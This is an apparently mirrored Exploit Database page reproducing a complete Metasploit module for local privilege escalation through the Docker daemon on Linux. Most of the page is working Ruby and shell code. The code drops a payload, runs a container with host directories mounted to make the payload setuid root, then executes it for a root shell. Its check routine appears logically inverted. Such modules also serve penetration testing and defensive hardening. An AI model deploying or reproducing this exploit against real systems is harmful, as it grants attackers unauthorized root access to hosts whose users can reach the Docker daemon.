Docker Daemon – Local Privilege Escalation (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2016-09-19
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40394/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Local
  
  Rank = ExcellentRanking
  
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
  super(update_info(info, {
  'Name' => 'Docker Daemon Privilege Escalation',
  'Description'=> %q{
  This module obtains root privileges from any host account with access to the
  Docker daemon. Usually this includes accounts in the `docker` group.
  },
  'License'=> MSF_LICENSE,
  'Author' => ['forzoni'],
  'DisclosureDate' => 'Jun 28 2016',
  'Platform' => 'linux',
  'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
  'Targets'=> [ ['Automatic', {}] ],
  'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },
  'SessionTypes' => ['shell', 'meterpreter'],
  'DefaultTarget'=> 0
  }
  ))
  register_advanced_options([
  OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
  ], self.class)
  end
  
  def check
  if cmd_exec('docker ps && echo true') == 'true'
  print_error("Failed to access Docker daemon.")
  Exploit::CheckCode::Safe
  else
  Exploit::CheckCode::Vulnerable
  end
  end
  
  def exploit
  pl = generate_payload_exe
  exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
  print_status("Writing payload executable to '#{exe_path}'")
  
  write_file(exe_path, pl)
  register_file_for_cleanup(exe_path)
  
  print_status("Executing script to create and run docker container")
  vprint_status cmd_exec("chmod +x #{exe_path}")
  vprint_status shell_script(exe_path)
  vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")
  
  print_status "Waiting #{datastore['WfsDelay']}s for payload"
  end
  
  def shell_script(exploit_path)
  deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
  dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
  
  %Q{
  IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
  EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
  docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
  docker rmi -f $IMG
  #{exploit_path}
  }.strip.split("\n").map(&:strip).join(';')
  end
  
  end